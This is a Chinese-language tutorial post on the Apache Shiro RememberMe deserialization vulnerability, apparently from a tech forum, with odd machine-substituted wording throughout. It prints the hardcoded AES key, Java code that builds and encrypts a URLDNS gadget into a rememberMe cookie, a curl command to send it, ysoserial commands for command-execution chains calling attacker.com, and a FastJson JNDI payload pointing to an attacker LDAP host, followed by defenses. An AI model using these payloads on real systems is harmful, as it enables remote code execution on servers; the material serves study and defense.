引言
在Web安全的天下里,反序列化弊端不停是最危险的弊端类型之一。今天,我们将深入探讨Apache Shiro框架中的两个著名反序列化弊端.通过通俗易懂的表明和具体的实例,资助你理解这类弊端的本质和危害。
Shiro框架与"记住我"功能简介
Apache Shiro是Java天下中广泛使用的安全框架,重要用于实现用户认证、授权和会话管理功能。假如你曾在Java Web应用中看到过登录页面上的"记住我"选项,很可能背后就是Shiro在默默工作。
这个"记住我"(RememberMe)功能的核心逻辑是:
- 用户勾选"记住我"并乐成登录
- Shiro将用户身份信息存入cookie
- 用户下次访问时,即使关闭过浏览器,系统也能辨认用户身份
听起来很方便,但正是这个功能存在严重安全隐患。
Java序列化与反序列化基础
在理解弊端前,先简单了解一下Java中的序列化与反序列化:
- 序列化:将Java对象转换为字节序列的过程,便于存储或传输
- 反序列化:将字节序列恢复为Java对象的过程
根本的Java序列化代码如下:
- // 序列化示例
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(userObject); // 将对象序列化
- byte[] serializedData = baos.toByteArray();
- // 反序列化示例
- ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object restoredObject = ois.readObject(); // 这里可能有安全风险!
复制代码 其中,readObject()方法是安全风险的关键点,因为它会在反序列化过程中执行对象中界说的特定方法。
"记住我"功能的工作流程
Shiro处理"记住我"功能的流程是:
当用户登录时(存储过程):
- 用户身份信息 → 序列化 → AES加密 → Base64编码 → RememberMe Cookie
复制代码 当用户再次访问时(读取过程):
- RememberMe Cookie → Base64解码 → AES解密 → 反序列化 → 用户身份信息
复制代码 这个过程中最关键的问题是:
- Shiro使用了硬编码的AES密钥
- 解密后的数据通过不安全的方式举行反序列化
弊端具体分析
通过调试Shiro源码,我们可以看到弊端的关键所在:
- // 序列化用户身份信息的代码
- protected byte[] serialize(PrincipalCollection principals) {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- BufferedOutputStream bos = new BufferedOutputStream(baos);
- try {
- ObjectOutputStream oos = new ObjectOutputStream(bos);
- oos.writeObject(principals); // 将用户信息序列化
- oos.close();
- return baos.toByteArray();
- } catch (IOException e) {
- // 异常处理
- }
- }
- // 加密序列化数据的代码
- protected byte[] encrypt(byte[] serialized) {
- byte[] value = serialized;
- CipherService cipherService = getCipherService();
- if (cipherService != null) {
- ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
- value = byteSource.getBytes();
- }
- return value;
- }
- // 反序列化代码 - 漏洞触发点
- protected PrincipalCollection deserialize(byte[] serializedIdentity) {
- ByteArrayInputStream bais = new ByteArrayInputStream(serializedIdentity);
- ObjectInputStream ois = new ObjectInputStream(bais);
- try {
- return (PrincipalCollection)ois.readObject(); // 漏洞触发点!
- } finally {
- ois.close();
- bais.close();
- }
- }
复制代码 弊端的两个关键点:
- 硬编码的AES密钥:private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
- 不安全的反序列化:ois.readObject()方法在没有任何验证的情况下执行
这就像是给银行保险柜装了一把所有人都知道密码的锁,而且保险柜还会自动执行内里放入的任何指令。
弊端利用步骤
利用这个弊端的过程可以分为四个步骤:
步骤1:构造恶意序列化对象
起首,我们需要一个能在反序列化时执行下令的对象。可以使用ysoserial工具天生:
- java -jar ysoserial.jar URLDNS "http://dnslog.cn/xyz123" > urldns.txt
复制代码 这里使用URLDNS链条是因为它只需要Java内置类,适合用来验证弊端是否存在。它的工作原理是:
- // URLDNS链条的核心原理
- HashMap<URL, String> hashMap = new HashMap<>();
- URL url = new URL("http://dnslog.cn/xyz123");
- // 通过反射修改URL的hashCode值,避免序列化时触发DNS请求
- Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
- f.setAccessible(true);
- f.set(url, 0xdeadbeef); // 先设置一个固定值
- // 将URL放入HashMap
- hashMap.put(url, "test");
- // 重新设置hashCode为-1,确保反序列化时触发
- f.set(url, -1);
- // 序列化对象
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt"));
- oos.writeObject(hashMap);
复制代码 当这个对象被反序列化时,HashMap会调用URL的hashCode方法,触发DNS请求。
步骤2:加密序列化对象
由于Shiro盼望接收的是加密后的序列化数据,我们需要使用相同的加密方式处理恶意对象:
- // 加密步骤
- SecureRandom random = new SecureRandom();
- byte[] iv = new byte[16];
- random.nextBytes(iv); // 生成随机初始化向量
- Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
- cipher.init(Cipher.ENCRYPT_MODE,
- new SecretKeySpec(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="), "AES"),
- new IvParameterSpec(iv));
- // 读取恶意序列化对象
- byte[] evilBytes = Files.readAllBytes(Paths.get("urldns.txt"));
- byte[] encryptedData = cipher.doFinal(evilBytes);
- // 组合IV和加密数据
- byte[] combined = new byte[iv.length + encryptedData.length];
- System.arraycopy(iv, 0, combined, 0, iv.length);
- System.arraycopy(encryptedData, 0, combined, iv.length, encryptedData.length);
- // Base64编码
- String rememberMeCookie = Base64.getEncoder().encodeToString(combined);
复制代码 这段代码模拟了Shiro的加密流程:
- 天生随机IV
- 使用AES-CBC模式加密
- 将IV和加密数据拼接
- Base64编码
步骤3:发送恶意Cookie
将天生的cookie值放入HTTP请求中:
- Cookie: rememberMe=AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0...
复制代码 可以使用各种工具发送这个请求:
- curl -v -H "Cookie: rememberMe=AAECAwQ..." http://vulnerable-server.com
复制代码 步骤4:确认弊端存在
假如使用URLDNS链,可以在DNS日志平台查看是否收到目标服务器的请求,从而确认弊端存在。
进阶:下令执行利用链
URLDNS链只能验证弊端存在,无法执行下令。要实现远程下令执行,需要使用更高级的利用链,如CommonsCollections系列。
老师特别提到了CommonsBeanUtils链和CommonsCollections链:
- # 使用CommonsCollections3生成执行命令的payload
- java -jar ysoserial.jar CommonsCollections3 "ping attacker.com" > cc3.bin
- # 使用CommonsBeanutils链
- java -jar ysoserial.jar CommonsBeanutils1 "whoami" > cb1.bin
复制代码 选择哪种利用链,取决于目标应用包含的依赖库:
- 假如应用包含commons-collections库,可以使用CommonsCollections系列链
- 假如应用包含commons-beanutils库,可以使用CommonsBeanutils链
- 假如不确定,可以先用URLDNS链验证弊端存在
Java反序列化链VS FastJson链
老师特别强调了一点:不能使用FastJson的链条攻击Shiro弊端。这是因为它们是完全不同的反序列化机制:
Java原生反序列化 vs FastJson
- 数据格式不同:
- Java原生序列化使用二进制格式
- FastJson使用JSON文本格式
- 触发机制不同:
- Java原生反序列化通过readObject()方法触发
- FastJson通太过析JSON时调用setter/getter方法触发
- 实例对比:
- // Java原生序列化数据(二进制)
- [二进制数据...]
- // FastJson数据(文本格式)
- {
- "@type":"com.sun.rowset.JdbcRowSetImpl",
- "dataSourceName":"ldap://attacker.com:1389/Exploit",
- "autoCommit":true
- }
复制代码 简单来说,这就像是两种完全不同的语言,即使它们都可能利用相同的类(如JdbcRowSetImpl),但触发方式完全不同,无法互相替换。
防御措施
了解了弊端原理,我们可以采取以下措施防御:
- 更新Shiro版本:使用最新版本的Apache Shiro
- 自界说加密密钥:
- RememberMeManager rememberMeManager = new CookieRememberMeManager();
- byte[] cipherKey = new SecureRandom().generateSeed(16); // 随机密钥
- rememberMeManager.setCipherKey(cipherKey);
复制代码
- 实施反序列化白名单:限定可被反序列化的类
- 如不需要,禁用RememberMe功能
总结
Shiro反序列化弊端告诉我们一个紧张的安全原则:永久不要使用硬编码密钥,尤其是在开源项目中。同时,对于任何反序列化操作,都应该举行严酷的安全验证。
这个弊端的利用过程也展示了今世Web安全的复杂性:从构造恶意对象,到模拟合法加密流程,再到乐成触发弊端执行下令,每一步都需要深入理解底层技术原理。
希望这篇文章能资助你更好地理解反序列化弊端的危害和防护方法,从而构建更安全的应用系统。
注:本文仅供安全研究与学习,请勿用于非法用途。在测试任何安全弊端前,请确保获得合法授权。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |